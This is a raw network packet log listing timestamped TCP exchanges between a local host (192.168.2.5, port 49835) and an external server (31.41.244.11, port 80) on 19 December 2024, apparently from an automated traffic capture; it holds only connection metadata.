Dec 19, 2024 03:09:14.186703920 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.186755896 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.186835051 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.186888933 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.187737942 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.187793016 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.187820911 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.187872887 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.188667059 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.188744068 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.188783884 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.188838005 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.189656973 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.189712048 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.189760923 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.189815044 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.190629959 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.190689087 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.190732002 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.190784931 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.191654921 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.191719055 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.191766024 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.191817999 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.192611933 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.192663908 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.192709923 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.192761898 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.193561077 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.193615913 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.193676949 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.193728924 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.194566965 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.194619894 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.194663048 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.194716930 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.195554972 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.195610046 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.195683956 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.195734978 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.196521044 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.196574926 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.196727991 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.196780920 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.197487116 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.197540045 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.197612047 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.197664022 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.198472977 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.198525906 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.198575020 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.198627949 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.199450970 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.199527979 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.199573994 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.199631929 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.200423002 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.200479031 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.200520992 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.200572968 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.201411009 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.201458931 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.201549053 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.201600075 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.202411890 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.202466011 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.202507973 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.202562094 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.203377962 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.203432083 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.203505993 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.203560114 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.204340935 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.204394102 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.204461098 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.204511881 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.205359936 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.205413103 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.205466986 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.205522060 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.206317902 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.206372976 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.206439972 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.206494093 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.207276106 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.207335949 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.207380056 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.207432985 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.208287954 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.208343029 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.208383083 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.208436012 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.209245920 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.209297895 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.209343910 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.209398031 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.210227966 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.210280895 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.210326910 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.210380077 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.211205006 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.211257935 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.211301088 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.211357117 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.212214947 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.212268114 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.212302923 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.212353945 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.213164091 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.213221073 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.213260889 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.213311911 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.214123964 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.214179039 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.214226961 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.214281082 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.215126991 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.215183020 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.215282917 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.215337992 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.216118097 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.216173887 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.216212988 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.216265917 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.217082024 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.217137098 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.217180014 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.217232943 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.218028069 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.218079090 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.218162060 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.218214989 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.219014883 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.219067097 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.219146013 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.219197035 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.220009089 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.220063925 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.220108032 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.220160961 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.221013069 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.221070051 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.221103907 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.221157074 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.221962929 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.222017050 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.222063065 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.222115993 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.222956896 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.223010063 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.223052979 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.223105907 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.223944902 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.223999977 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.224040031 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.224092960 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.224906921 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.224960089 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.225018024 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.225070000 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.225899935 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.225950956 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.225992918 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.226044893 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.226895094 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.226947069 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.227015972 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.227067947 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.227876902 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.227930069 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.227976084 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.228028059 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.228831053 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.228883982 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.228950977 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.229003906 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.229818106 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.229870081 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.230046034 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.230097055 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.230787992 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.230859995 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.230901003 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.230952978 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.231764078 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.231816053 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.231868029 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.231920004 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.232672930 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.232728004 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.373688936 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.373797894 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.373889923 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.373889923 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.374149084 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.374208927 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.374248981 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.374304056 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.375152111 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.375210047 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.375351906 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.375407934 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.376147032 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.376203060 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.376230955 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.376286983 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.377110958 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.377167940 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.377219915 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.377273083 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.378076077 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.378134966 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.378225088 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.378283024 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.379077911 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.379134893 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.379170895 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.379229069 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.380089998 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.380141973 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.380148888 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.380189896 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.381036043 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.381100893 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.381140947 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.381196022 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.381994009 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.382045984 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.382098913 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.382153034 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.384780884 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.384834051 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.384838104 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.384850979 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.384870052 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.384886980 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.384927988 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.384954929 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.385004044 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.385150909 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.385207891 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.385936022 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.385993958 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.386038065 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.386094093 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.386895895 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.386960983 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.387048960 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.387103081 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.387876034 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.387931108 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.387974977 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.388029099 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.388854027 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.388906956 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.388956070 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.389013052 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.389870882 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.389925957 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.389961004 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.390016079 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.390810966 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.390866995 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.390918970 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.390974045 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.391774893 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.391833067 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.391876936 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.391933918 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.392800093 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.392857075 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.392935038 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.392987967 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.393749952 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.393802881 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.393861055 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.393914938 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.394732952 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.394785881 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.394823074 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.394877911 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.395720959 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.395776987 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.395812988 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.395868063 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.396684885 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.396743059 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.396785021 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.396838903 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.397650957 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.397702932 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.397799969 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.397849083 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.398633003 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.398686886 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.398753881 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.398808002 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.399621964 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.399679899 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.399736881 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.399791956 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.400628090 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.400682926 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.400711060 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.400767088 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.401595116 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.401649952 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.401695967 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.401751041 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.402568102 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.402621031 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.402666092 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.402720928 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.403534889 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.403589964 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.403631926 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.403687954 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.404530048 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.404607058 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.404638052 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.404700994 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.405503988 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.405560970 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.405603886 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.405656099 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.406487942 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.406543970 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.406579971 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.406634092 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.407464027 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.407516956 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.407560110 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.407613993 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.408452034 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.408507109 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.408536911 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.408590078 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.409427881 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.409482956 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.409518003 CET	80	49835	31.41.244.11	192.168.2.5
